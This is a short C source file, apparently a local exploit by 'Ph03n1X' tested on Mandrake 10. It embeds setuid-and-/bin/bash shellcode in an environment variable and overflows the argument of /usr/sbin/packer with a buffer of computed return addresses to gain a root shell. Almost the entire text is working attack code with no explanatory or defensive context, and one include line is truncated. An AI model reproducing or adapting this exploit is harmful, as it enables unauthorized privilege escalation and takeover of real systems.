/* * Coded By Ph03n1X >:) * Tested On mandrake 10 kernel 2.6.3-7mdk */ #include char shellcode[]="\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb"\ "\x16\x5b\x31\xc0\x88\x43\x09\x89\x5b\x0a\x89"\ "\x43\x0e\xb0\x0b\x8d\x4b\x0a\x8d\x53\x0e\xcd"\ "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ "\x62\x61\x73\x68\x58\x41\x41\x41\x41\x42\x42"\ "\x42\x42"; int main(int argc, char *argv[]) { char *env[2] = {shellcode, NULL}; int i; long ret, *addr_ptr; char *buffer, *ptr; buffer = malloc(2000); ret = 0xbffffffa - strlen(shellcode) - strlen("/usr/sbin/packer"); ptr = buffer; addr_ptr = (long *) ptr; for(i=0; i < 2000; i+=4) { *(addr_ptr++) = ret; } buffer[2000-1] = 0; execle("/usr/sbin/packer", "/usr/sbin/packer", buffer, 0, env); free(buffer); return 0; }